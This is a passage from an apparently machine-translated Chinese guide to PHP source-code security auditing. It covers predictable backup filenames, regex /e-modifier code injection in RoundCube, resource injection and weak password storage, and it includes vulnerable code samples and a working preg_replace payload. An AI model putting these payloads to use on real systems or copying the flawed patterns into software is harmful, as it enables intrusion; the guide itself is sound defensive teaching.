echo 'Text to send if user hits Cancel button'; exit; } else { 
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>"; 
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>"; } ?> 
攻击实例: 
大部分的商业管理系统(CMS),例如:OS-commerce (在某些版本中)。

15 –不安全的随机命名Session / Cookie / 备份文件(Medium): 

在命名session & cookie &备份文件时,将其随机化,可能会出卖它们。 例如: 
<?php 
$rnd = rand(1,100); 
$fp = fopen($rnd.'_backup_.sql', 'w'); fwrite($fp, $db ); fclose($fp); ?> 
本例中:将备份文件写入到"$rand_backup_.sql"中。在代码第2行中,咱们能够看到$rand参数,它随机生成1-100之间的任意数。攻击者可写入代码以暴力破解文件名。所以当咱们在生成Session & Cookie的时候,应当谨慎地使用随机函数。  
攻击实例: 
PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit: http://www.milw0rm.com/exploits/1068

16 – HTML Comment中提供的详细信息 (Low): 

HTML标签可用于寻踪WEB程序或者泄漏WEB程序结构。  
17 – 默认安装的多余文件 (medium): 
一些PHP CMS或者WEB程序在安装完成后并无删除安装文件,致使攻击者能够控制其中的数据或者重设管理员密码。

18 – 正则表达式(Regular Expression)漏洞(High): 

Regular Expression Injection或者RegEx Injection经过替换正则表达式中的修饰符e而将代码注入到WEB程序中。Perl支持这个修饰符,其它技术包括PCRE(Perl-compatible regular expressions) library。若是该漏洞被使用,其替换内容是可估计的。这种方法很强大,由于它不只容许使用变量名,并且支持其它命令。  
Example (RoundCube Bug): 
RoundCube使用了html2text函数,它存在一个评论漏洞:用户输入的数据可被PHP引擎分析并执行。这将致使一些被恶意构造的输入数据被WEB服务器看成PHP代码来执行。这个漏洞是因为PHP中使用的preg_replace()函数用了'e' flag而致使的。在正则表达式中使用’e’将容许PHP对输入数据进行处理。例如咱们想将小写字符串更改成大写的,可使用如下代码: 
<?php 
print preg_replace('/(.*)/e', 'strtoupper("\\1")', 'test'); ?> 
preg_replace函数容许程序员使用PHP中的strtoupper ()函数去处理输入的字符串,这将致使用户能够输入包含PHP命令的字符串,以至形成不良后果。 
利用该漏洞最绝的一招就是将PHP命令假装成变量来执行它们。在正常的操做中,preg_replace容许用户在变量中传输并替换它们。例如:  
<?php 
$foo = 'bar'; 
print preg_replace('/(.*)/e', 'strtoupper("\\1")', '$foo'); ?> 
 
将输出预料中的“BAR”。但当使用:  
<?php 
$foo = 'bar'; 
print preg_replace('/(.*)/e', 'strtoupper("\\1")', 'phpinfo()'); ?> 
 
将会简单地输出"PHPINFO()"。为了使PHP引擎去解释命令,咱们必须将其分配给一个变量。一般能够简单地使用一个'$'做为分隔符,并用上PHP大括号,因而: 
<?php 
print ${phpinfo()}; ?> 
 
将尽职地输出phpinfo()命令的输出结果。但若是咱们将其发送给原先的preg_replace()函数,那么将会发生错误,你会注意到: 
<?php 
print preg_replace('/(.*)/e', 'strtoupper("\\1")', '${phpinfo()}'); ?> 

 

 


产生了下列错误: 
[Tue Jan 13 09:24:48 2009] [error] [client 192.168.0.50] PHP Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code: \nstrtoupper("${phpinfo()}") in /var/www/html/exploit.php on line 22  
为了不发生错误,咱们须要再添加一个大括号,以执行赋予的命令。更改后的代码以下: 
<?php 
print preg_replace('/(.*)/e', 'strtoupper("\\1")', '{${phpinfo()}}'); ?> 
RoundCube漏洞出如今bin/html2text.sh中的行6中: 
$converter = new html2text(html_entity_decode($HTTP_RAW_POST_DATA, ENT_COMPAT, 'UTF-8'));  
攻击实例: 
Analysis of the RoundCube html2text Vulnerability http://www.milw0rm.com/exploits/7549 
http://www.securiteam.com/exploits/6W00L0KC0I.html  
更多信息: 
http://hauser-wenz.de/playground/papers/RegExInjection.pdf 

19 – Resource Injection (Medium): 

当遇到下面两种状况时资源注入漏洞就发生了: 1. 攻击者能够指定标识符去访问系统资源。 
例如攻击者能够指定一个端口号去链接网络资源。 
2. 经过指定资源,攻击者能够得到本来并未许可的权限。 例如程序可能会容许攻击者发送敏感信息给第三方服务端。 下面看一看关于此漏洞更为详细的路径操做描述。 
Example:下列代码中读取了HTTP request中的hostname,并使用它去链接决定票价的数据库。 
 <?php 
$host=$_GET['host']; 
$dbconn = pg_connect("host=$host port=1234 dbname=ticketdb"); ... 
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM pricelist WHER E name = $1'); 
$result = pg_execute($dbconn, "my_query", array("ticket")); ?> 
 
这类可被用户的输入数据影响到的资源意味着这类内容存在危险。例如,数据中包含特定的字符,好比句号,斜杆,反斜杆,当使用这种可危害到文件系统的方式时都是存在风险的。

 

 


同时,包含URL和URI的数据对于建立远程链接也是存在风险的。  
攻击实例: 
Synthetic Attack [XSS , RI ] : 
http://www.milw0rm.com/exploits/7866  
20 – 弱口令: (Low) 
你必须检查一下: 
- 你在数据库中使用未加密的明码。 - 加密密码(例如:MD5),但还不够安全。 
- 保存密码在[.txt, .ini, .xml...]等文件中,这些文件都有可能被攻击者读取到。 - 
使用弱口令。 
例如password.xml(可被攻击者读取)  
攻击: 
Http://viktim.com/password.xml  
<?xml version="1.0" ?> <novo-xml> <register> 
<client-id>test</client-id> 
<password>'.$username.'</password> <user-id>'.$password.'</user-id> <phone-num>'.$phone.'</phone-num> <app-id>test</app-id> <channel>I</channel> 
<user-type>upgrade</user-type> </register> </novo-xml>  
经过 password.xml进行认证:  
Login.php 
<form method="post" action="login.php"> Username: <input type="text" name="username"> <br /> 
Password: <input type="password" name="password"> <br /> 
<input type="submit" name="submit" value="Login"> </form>  <?php 
$file = "password.xml"; 

 

 


$username = $_POST[‘username’]; $password = $_POST[‘password’]; if (file_exists($file)) { 
$xml = simplexml_load_file($file); $count = 0; 
foreach($xml->username as $currUser) { 
if (strtolower($currUser) == strtolower($username)) { break; } 
$count++; 

if ($xml->active[$count] == 1) { 
if (md5($password) == $xml->password[$count]) { 
echo "Valid user logged in!"; }else{ 
echo "Password does not match. Come on! Try harder!"; } 
} else{ 
echo "User is inactive. Choose another!"; 
} }else{ 
echo "Critical Error: File not found!"; } ?> 
 
攻击实例: 
Passwords Decrypted for UPB <= 1.9.6: 
http://www.securityfocus.com/bid/13975/exploit

  2- Rats [free] : http://www.fortify.com/security-resources/rats.jsp 3- Pixy [sqli – xss] : http://pixybox.seclab.tuwien.ac.at/  问题: 本文并未彻底涉及PHP源码安全检阅(审计),因为时间仓促,所以对于文中所形成的错误表示抱歉。笔者没法保证,但有可能会发布本文的下一版本,以包含更多高级的方法。 下面是一些可能在下一版本中会被讨论到的内容: 1- 更多的攻击实例 2- PHPIDS防护 3- 更为危险的函数:CURL – socket – creat_function & …. 4- 讨论一些函数的安全使用 5- 关于PHP安全编程书籍的相关信息 6- ETC  资源: http://www.fortify.com http://wikipedia.com http://www.madirish.net http://www.owasp.org http://samate.nist.gov/ http://searchsecuritychannel.techtarget.com/ http://www.webappsec.org http://phpsec.org

相关文章
相关标签/搜索